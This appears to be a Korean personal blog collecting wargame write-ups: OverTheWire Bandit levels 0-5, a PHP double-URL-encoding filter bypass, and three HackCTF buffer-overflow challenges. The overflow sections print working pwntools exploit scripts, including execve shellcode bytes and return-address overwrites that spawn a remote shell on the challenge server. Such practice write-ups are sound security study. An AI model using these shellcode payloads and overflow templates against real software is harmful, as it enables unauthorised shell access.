힌트를 확인해보면...

The password for the next level is stored in a file somewhere under the inhere directory and has all of the following properties:

human-readable // 사람이 읽을 수 있음 

1033 bytes in size // 1033 바이트 크기

not executable  // 실행권한이 없음 

라는 힌트를 얻을 수 있다. 

 

확인을 해보면 여러가지 디렉토리들이 보인다. 

여기서 우리가 확인해야할 것은 힌트에 나온 3가지이다. 

3가지 조건을 모두 가지고 있다면 그것이 패스워드가 될 것이다. 

그래서 권한을 확인하기로 했다.

 

여기서 알 수 있는 것은 inhere 디렉토리 안에 있는 maybehere00~19까지 모두 실행권한이 없다.

그러므로 inhere 안에 있으면서 실행권한이 없다는 조건을 가지기 위해선 이들 중 하나가 패스워드와 관련이 있을 것이다.

그렇기에 다음조건을 가지고 있는지 확인 해보면 되는데 파일의 크기를 알아보기로 했다. 

첫번째로 파일인지 디렉토리인지 유형을 확인해 봤다.

file ./*

 

 

전부 다 디렉토리인것을 확인했다. 

그럼 해당 디렉토리들 중 디렉토리 안에 있는 파일중 하나가 될 것이다.

inhere 안에 있으면서 실행권한이 없어야 하고 크기는 1033 바이트 여야 한다. 

find를 통해서 찾아보았다.

find -size 1033c

 

 

/home/bandit5/inhere/maybehere07 안에 있는 .file2라는 파일의 크기가 1033바이트라고 한다/

그럼 다시 조건을 생각해보면 아래와 같다.

1. inhere 디렉토리 안에 있음

2. 실행 권한이 없음 

3. 사람이 읽을 수 있는 파일

4. 파일 크기는 1033 바이트

그렇다면 3가지는 확인을 했고, 사람이 읽을 수 있는파일인지 아닌지만 확인하면 될 것이다.

그래서 해당 경로로 이동 후 확인을 해봤다.

 

확인을 해보니 우리가 봤던 파일이 보이는데 실행권한이 없다는 것을 알 수 있다.

그리고 inhere 디렉토리 안에 있었던 것도 경로를 통해 확인 할 수 있다.

그리고 find를 사용하여 크기가 1033 바이트인 것도 확인을 했다.

이제 사람이 읽을 수 있는 파일인지 아닌지만 확인하면 된다.

 

아스키코드로 되어있는 텍스트파일이다. 그렇다는 것은 사람이 읽을 수 있다는 이야기가 되면서 

힌트에서 말했던 조건들을 모두 가지고 있기에 이것이 패스워드가 된다는 것을 알 수 있다.

그래서 cat으로 한번 확인해주면 된다.

 

패스워드를 얻을 수 있었다.

힌트를 확인해보자.

The password for the next level is stored in the only human-readable file in the inheredirectory. Tip: if your terminal is messed up, try the “reset” command.

 

음...  사람이 읽을 수 있는 파일이고 inhere 디렉토리 안에 있다고 한다. 

 

일단 한번 확인해보기로 했다.

 

힌트에서 말했던 디렉토리가 보인다.

한번 들어가 보았다.

cd /home/bandit4/inhere

 

여기서 확인을 해보면 여러가지들이 나오는데 힌트대로라면 이중에 있다는 이야기가 된다

 

그렇다면 여기서 사람이 읽을 수 있는 파일이 무엇인지 파일 유형을 살펴봐야 할 것이다. 

그래서 file 명령어를 활용하기로 했다.

file ./*

 

-file07이 패스워드 인것 같지만 권한을 확인해 봐야 하기 때문에 ls -al을 확인해서 권한을 보았다.

 

level5의 권한을 가지고 있고 읽을 수 있는 권한을 가지고 있었다. 

그래서 -file07이 패스워드일 것이다. 

cat 으로 확인해봤다.

cat < '-file07'

 

문제가 해결되었다.

일단 힌트부터 확인을 해보면 

The password for the next level is stored in a hidden file in the inhere directory.

디렉토리안에 숨겨진 파일이 있다고 한다. 

그러면 먼저 해당경로로 이동을 한번 해보기로 했다. 

ls 
inhere

pwd 
/home/bandit3

cd /home/bandit3/inhere

 

해당 경로로 이동 후 ls를 통하여 안에 있는 파일들을 확인해보려고 했으나 아무것도 나오지 않았다.

여기서 힌트를 보자면 숨겨진 파일이라고 했기 때문에 숨겨진 파일을 확인 하면 될 것 같다.

그래서 숨겨진 파일을 확인하려면 해당 옵션을 주면 된다.

ls -a

 

 

.hidden 파일이 보이는데 아마도 이게 다음레벨로 올라가는 패스워드 인것 같다.

열기전에 해당 파일의 권한과 유형을 확인해봐야 하기 때문에 확인해봤다.

file .hidden

 

 

역시나 예상대로 아스키 코드의 텍스트 파일이었다. 

그럼 권한은 어떻게 되는가??

ls -al

 

 

bandit4의 권한을 가지고 있는 .hidden 파일을 볼 수 있다. 

따라서 이게 패스워드 인것 같다. 

cat으로 한번 실행해봤다.

cat .hidden

 

 

아주 쉽게 해결되었다. 

이번문제는 매우 간단하게 풀었던 거라 사실 풀이를 적을게 있었나 모르겠다

사실 그정도로 쉽게 풀었다.

 

일단 뭐가 있는지 확인하기 위해서 ls 명령어를 사용했다.

 

해당 파일이 하나밖에 없는데 혹시 몰라 힌트를 확인해 보았다.

The password for the next level is stored in a file called spaces in this filename located in the home directory

이말인 즉슨,  ls로 확인했던 것의 내용이 정답의 단서를 가지고 있을것이라고 생각했다.

그래서 cat 명령어로 내용을 확인해 보았다.

cat 'spaces in this filename'

 

 

아주 쉽게 풀렸다.

이번엔 윈도우 putty로 접속을 해보았는데 역시나 과부하가 많이 걸리는 것 같다.

아무튼 접속을 해보면 아래와 같은 화면이 나온다. (패스워드는 0에서 찾았으니 그거 입력하면 된다.)

 

 

접속 환경은 같아서 우분투에서 하든지 뭐 윈도우로 하든지 크게 다른건 없다,

일단 힌트가 뭔지를 확인해보았다, 

 

The password for the next level is stored in a file called - located in the home directory

홈디렉토리에 있는 - 라는 디렉토리라고 한다. 

 

확인해보니 뭔지는 정확하게 모르겠지만 - 라는 것이 있다.

파일인지 디렉토리인지 뭔지를 확인하기 위해서 해당 명령어를 사용했다.

pwd 
/home/bandit1

file . /home/bandit1/-
.:               directory
/home/bandit1/-: ASCII text

 

아스키 코드로 된 텍스트 파일인 것을 확인 할 수 있었다.

그러면 이제 이 파일을 읽기만 하면 되는 것 같다. 

cat 명령어를 사용하면 되는데 cat을 입력하면 아무것도 나오지 않는다.

 

아무것도 나오지 않았던 이유는 cat이라는 명령어를 사용해서 -를 옵션으로 받아들이기 때문에 

cat - 라고 입력했을때 옵션이 없어서 커맨드 라인이 실행되지 않아 파일을 생성하는 것으로 판단하여 

입력 값을 기다렸던여서  다른 방법을 찾아야 할 것 같다. 

https://stackoverflow.com/questions/42187323/how-to-open-a-dashed-filename-using-terminal

 

How to open a "-" dashed filename using terminal?

I tried gedit, nano, vi, leafpad and other text editors , it won't open, I tried cat and other file looking commands, and I ensure you it's a file not a directory!

stackoverflow.com

 

스택 버퍼오버플로우에 같은 문제점이 발견되어 올라와있었다.

해결방법을 보니까 아주 간단한 방법이었다.

Both cat < - and ./- command will give you the output

 

둘중에 하나만 사용해도 원하는 값을 찾을 수 있었다.

 

성공!

유튜브를 보다가 괜찮은 리눅스 워게임이 있다고 해서 한번 풀어볼려고 들어가 보았다. 

 

https://overthewire.org/wargames/bandit/

 

OverTheWire: Bandit

We're hackers, and we are good-looking. We are the 1%. Bandit The Bandit wargame is aimed at absolute beginners. It will teach the basics needed to be able to play other wargames. If you notice something essential is missing or have ideas for new levels, p

overthewire.org

 

사이트는 여기고 가상환경에서 돌리거나 Putty로 윈도우에서 돌리기엔 속도도 느리고 그래서

원래 쓰던 리눅스 노트북을 사용하기로 했다. 

 

일단 시작하기 전에 ssh 설정을 해줘야 한다.

sudo apt update 
sudo apt install open sshserver

 

ssh 설치를 한번 해주고 난뒤 접속을 하면 되는데 사이트에 접속 주소와 계정이 나와있다. 

Host: bandit.labs.overthewire.org  |  Port: 2220  |  Password : bandit0

따라서 접속을 해주면 된다.

ssh bandit0 @ bandit.labs.overthewire.org
레벨에 맞게 계정이름 넣어주면 됨 지금은 0이라서 bandit0 으로 접속

 

들어가게 되면 아래와 같은 창이 나올 것 이다.

 

이제 level0 으로 접속을 했는데 여기서 문제를 풀면 된다. 

사이트에 들어가면 문제별로 힌트를 제공해주는데 힌트를 한번 보았다. 

 

The password for the next level is stored in a file called readme located in the home directory. Use this password to log into bandit1 using SSH. Whenever you find a password for a level, use SSH (on port 2220) to log into that level and continue the game.

 

readme 파일에 level 1의 단서가 있는 것 같다. 

그래서 파일의 형식을 확인해보았다. 

 

아스키 코드로 된 텍스트 파일이라고 한다. 그러면 cat 명령어를 사용해서 보면 될 것 같다. 

file . readme 
.:      directory
readme: ASCII text

cat readme

 

cat 명령어로 살펴보면 다음과 같은 문자열이 보이는데 이게 level 1의 패스워드 일 것이다. 

N???????????????????????????????
문자열이라서 그냥 ? 처리

 

이제 exit을 입력하여 나왔다가 다시 level 1로 접속하면 된다.

 

 

오랜만에 모의해킹에 관심이 생겨 웹해킹 공부도 할겸 문제를 하나 풀어보기로 했다.

일단 사이트를 들어가서 문제를 보면 해당 페이지가 나오는데...

 

아무것도 없으니 일단 페이지 소스를 보기로 했다. 

<?php
  include "../../config.php";
  if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 26</title>
<style type="text/css">
body { background:black; color:white; font-size:10pt; }    
a { color:lightgreen; }
</style>
</head>
<body>
<?php
  if(preg_match("/admin/",$_GET['id'])) { echo"no!"; exit(); }
  $_GET['id'] = urldecode($_GET['id']);
  if($_GET['id'] == "admin"){
    solve(26);
  }
?>
<br><br>
<a href=?view_source=1>view-source</a>
</body>
</html>

 

해당 소스를 분석을 해보면 중요한 부분을 볼 수 있는데 아래의 부분 인 것 같다. 

<?php
  if(preg_match("/admin/",$_GET['id'])) { echo"no!"; exit(); }
  $_GET['id'] = urldecode($_GET['id']);
  if($_GET['id'] == "admin"){
    solve(26);
  }

 

사실 PHP를 제대로 공부해본 적이 없어서 구글링을 통해 함수들을 검색해서 찾아보았다, 

 

찾아본 바에 의하면 대략 Preg_match  라는 함수는 현재 정규표현식을 사용해서 문자열을 찾는 함수라고 한다

그렇다면 아래의 코드를 해석해볼 수 있다,

if(preg_match("/admin/",$_GET['id'])) { echo"no!"; exit(); }

 

보면은 서버에서 GET 방식으로 Id를 받아오는데 Id 값이 admin과 일치하게 된다면 no를 출력하고 종료되는것 같다,

그래서 url을 입력해보았다. 

 

 

예상대로 해당 구문이 실행되어서 no를 출력하고 종료되는 것을 볼 수 있다, 

그럼 만약에 id 값이 admin이 아니게 된다면 어떨지 궁금해졌다. 

아래의 코드를 보면 어떻게 동작하는지 알 수 있을거 같다.

$_GET['id'] = urldecode($_GET['id']);
  if($_GET['id'] == "admin"){
    solve(26);

 

현재 GET으로 받아온 id를 urldecode 함수를 통해서 저장을 하는데..

urldecode가 무엇인지 잘 몰라서 구글링을 통해 찾아보니 url 인코딩 된 값을 디코딩을 하는 함수라고 한다.

그럼 해석을 해보자면,  인코딩된 id 값을 디코딩 하는데 여기서 인코딩 된 값이 admin이라면??

urldecode에서 디코딩한 결과가 admin이 될것이고 그럼  $GET[ 'id' ] 값이 admin이 될 것이다.

 

그렇다는 말은 solve함수를 실행한다는 말이 된다. 그래서 한번 admin을 인코딩한 값을 넣어보았다.

61%64%6D%69%6E -> url 인코딩 표를 보고 인코딩 하였다.

 

 

???? 같은 화면이 나온다...??

admin을 인코딩한 값인 %61%64%6D%69%6E를 넣었음에도 불구하고 URL이 admin으로 id 값이 들어가 있다. 

그렇다는 말은 preg_match 구문이 실행되고 바로 종료되었다는 이야기가 된다.

 

PHP는 GET 방식과 REQUEST 방식은 서버측에서 값을 전달받을때, 자동으로 한번 디코딩이 된다고 한다.

그말인 즉슨  %61%64%6D%69%6E이 값을 한번 자체적으로 한번 디코딩을 했다는 말이 된다,

그래서 preg_match 함수가 실행되고 종료된것 같다. 

 

그럼 이것을 어떻게 해결할 수 있을끼..?

자동적으로 디코딩을 한번 했다고 하니 그럼 인코딩을 2번 하게 된다면?

자동적으로 한번 디코딩을 하고 난 뒤 urldecode 함수가 실행되어 한번 더 디코딩이 될것이다.

그렇게 되면 아래의 코드를 실행 시킬 수 있을 것이다.

if($_GET['id'] == "admin"){
    solve(26);
  }

 

만약 생각한대로 실행이 된다면 뭔가 값을 찾을 수 있지 않을까 생각해본다.

따라서 한번더 url 인코딩을 해보았다. 

%2561%2564%256D%2569%256E

 

 

문제가 해결되었다. 

확실히 웹해킹 문제들은 PHP의 취약점을 찾는 문제들이 많이 나오는 것 같다.

웹 언어는 제대로 공부를 해본적이 많이 없어서 개념을 많이 몰라서 시간이 오래걸렸던 것 같다. 

PHP 공부를 해봐야 할 것 같다. 그럼 쉬워지지 않을려나 

 

그럼 20000~~~~

'CTF > WebHacking' 카테고리의 다른 글

Wargame.kr - strcmp  (0) 2021.02.26
Wargame.kr - fly me to the moon  (0) 2021.02.16
Wargame.kr - WTF_CODE  (0) 2021.02.13
Wargame.kr - login filtering  (0) 2021.02.12
Wargame.kr - QR CODE PUZZLE  (0) 2021.02.11

 

문제를 다운로드 해보면 

 

 

위의 화면처럼 입력받은 문자를 출력을 해주는데...

y를 입력하면 한번더 실행을 하고 n을 입력하면 바로 종료된다.

 

자세한건 IDA로 확인을 해보았다.

 

 

코드를 보면 s를 통해서 입력을 받고 있다. 

그래서 s를 이용하면 뭔가 해결책을 찾을 수 있을것 같다.

 

그러기전에 메모리 보호가 적용되었는지 확인해 보았다.

 

 

메모리 보호가 적용이 되어있지는 않다. 

그 말은 쉘코드를 집어넣고 ret overwrite가 가능하다는 이야기가 된다.

그러면 쉘코드를 작성하기 전에 한번 코드를 살펴 보자. 

 

 

s함수는 0x88만큼 할당이 되어있다. 

그러면 0x88이 ret의 시작주소 까지의 거리가 되는데 0x88은 136이된다.

ret의 끝주소 까지 하게되면 32bit는 4byte씩 쌓이니까 140만큼의 거리가 나온다.

 

출력되는 버퍼의 주소는 알 수 있지만 버퍼의 시작주소를 알 수 없다. 

그래서 Payload를 두번에 나눠서 작성을 해야 된다. 

 

from pwn import*

p = remote("ctf.j0n9hyun.xyz",3006)

p.recvuntil('Data : ')
p.sendline("AAAA")
buf_addr = int(p.recv(10),16)

p.recvuntil('Again(y/n):')
p.sendline("y")
p.recvuntil('Data : ')

payload = "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80"
payload +='a'*114
payload +=p32(buf_addr)

p.sendline(payload)
p.interactive()

 

위와 같이 작성을 해보았다. 

맨 처음에 한번 인자를 보내서 해당 버퍼의 시작주소를 알아낸 다음, 

26byte 쉘코드를 사용하였고 , 그래서 140 - 26 = 114의 크기 많큼 dummy(쓰레기값)을 넣어주었다.

 

실행해보면? 

 

 

flag를 확인 할 수 있다.

 

 

성공

'CTF' 카테고리의 다른 글

Hack CTF - simple_size_bof  (0) 2021.09.28
Hack CTF x64 Buffer Overflow  (0) 2021.09.25
Hack CTF - 내 버퍼가 흘러넘친다  (0) 2021.09.25
Pwnable.kr 1 - fd  (0) 2021.09.24
Hack CTF Basic_FSB  (0) 2021.09.23

 

문제를 다운로드 해보면 

 

 

buf의 주소가 출력됨과 동시에 종료된다.

 

 

다시한번 실행을 해보았는데 주소가 변경되어있다. 

ASLR이 들어가있는것 같다. 

 

그래서 IDA를 이용해서 열어보았다. 

 

 

해당 소스코드를 보면 현제 rbp - 6D30h라고 되어있는것으로 보아 

v4에서 RET의 거리는 0x6D30h라고 보면 될거 같은데 0x6D30은 10진수로 표현하면 

27952이다. 

 

자세히 보면 gets 함수가 나와있는데 이것을 이용하면 되지 않을까 생각했다.

(gets 함수는 크기에 상관없이 받아오니까)

 

gets 함수에 쉘코드를 집어넣으면 해결이 될거 같았다. 

그래서 먼저 쉘코드를 넣기위해서 확인을 해보았더니 

 

 

메모리 보호는 따로 되어있는거 같지는 않은거 같아서 

쉘코드를 집어넣기로 했고 Payload를 작성하였다.

 

from pwn import*

p = remote("ctf.j0n9hyun.xyz",3005)
p.recvuntil("buf: ")
buf = int(p.recv(14),16)

payload = "\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05"+"A"*27929 + p64(buf)

p.sendline(payload)
p.ineteractive()

 

buf에서 14byte의 크기를 받아온 후 16진수로 변환하였다.

여기서 받아온 주소를 return 주소로 넣어주면?

buf의 주소가 바뀌더라도 계속 14바이트의 크기를 받아오게 된다.

 

23byte의 쉘코드를 사용했으며 그러면 27952의 공간에 23byte의 쉘코드를 집어넣었다.

그러면 나머지 27952 - 23의 공간이 남는데 이 공간을 dummy값으로 채워줘야 한다.

그래서 A*27929로 메모리 공간을 채워준 후에  p64(buf)를 통해서 오버 플로우 시켜주면 flag를 찾을 수 있다.

 

 

'CTF' 카테고리의 다른 글

Hack CTF Simple_Overflow_ver_2  (0) 2021.09.28
Hack CTF x64 Buffer Overflow  (0) 2021.09.25
Hack CTF - 내 버퍼가 흘러넘친다  (0) 2021.09.25
Pwnable.kr 1 - fd  (0) 2021.09.24
Hack CTF Basic_FSB  (0) 2021.09.23

 

일단 문제를 다운로드 해보자 

 

 

정상적으로 다운로드가 되었으면 한번 확인을 해보자 

저번 문제 처럼 메모리 보호가 있을수도 있으니 확인을 해보았다.

 

 

역시나 NX가 적용되어있었다.

그렇다면 쉘코드 삽입이나 그런 공격기법은 안먹힌다는 이야기다.

 

한번 코드를 알아보기 위해서 IDA로 열어보았다.

 

 

메인함수를 확인해보았지만 크게 뭐 다른점이나 의심가는 부분은 못 찾았다.

그래서 다른 함수들이 사용되었는지 함수 목록을 살펴보았다.

 

 

Dummy 값이 들어가는 함수로 추측이되는게 보이고 

그리고 callMeMaybe 라는 처음 보는 함수가 보여서 확인을 해보았더니 

 

 

쉘을 실행하는 함수이다.

하지만 main 함수에서 이 함수가 호출되거나 사용되고 있지 않았다. 

그래서 이 해당 함수를 실행시키게 된다면 쉘이 실행될 것이다.

 

그렇게 하기위해서 callMeMaybe 의 함수가 시작되는 함수 주소를 알아보았다. 

 

 

callMeMaybe ==  0x0400606 

 

해당 함수의 시작 주소를 알아냈으니 이것을 참고하여 payload를 작성했다.

 

from pwn import*
p = remote("ctf.j0n9hyun.xyz" ,3004)
#p = process("./64bof_basic") 

e = ELF("./64bof_basic")  
callMeMaybe =  0x0400606   

payload = ''  
payload += p64(callMeMaybe)* 36    

p.sendline(payload)             
p.interactive()

 

그대로 실행을 해보면?

 

 

flag를 확인할 수 있다. 

 

이 문제는 크게 어려웠던 문제는 아니었던거 같다

그냥 32bit에서 64bit로 바꿨다는 정도??

 

 

성공!!

'CTF' 카테고리의 다른 글

Hack CTF Simple_Overflow_ver_2  (0) 2021.09.28
Hack CTF - simple_size_bof  (0) 2021.09.28
Hack CTF - 내 버퍼가 흘러넘친다  (0) 2021.09.25
Pwnable.kr 1 - fd  (0) 2021.09.24
Hack CTF Basic_FSB  (0) 2021.09.23

+ Recent posts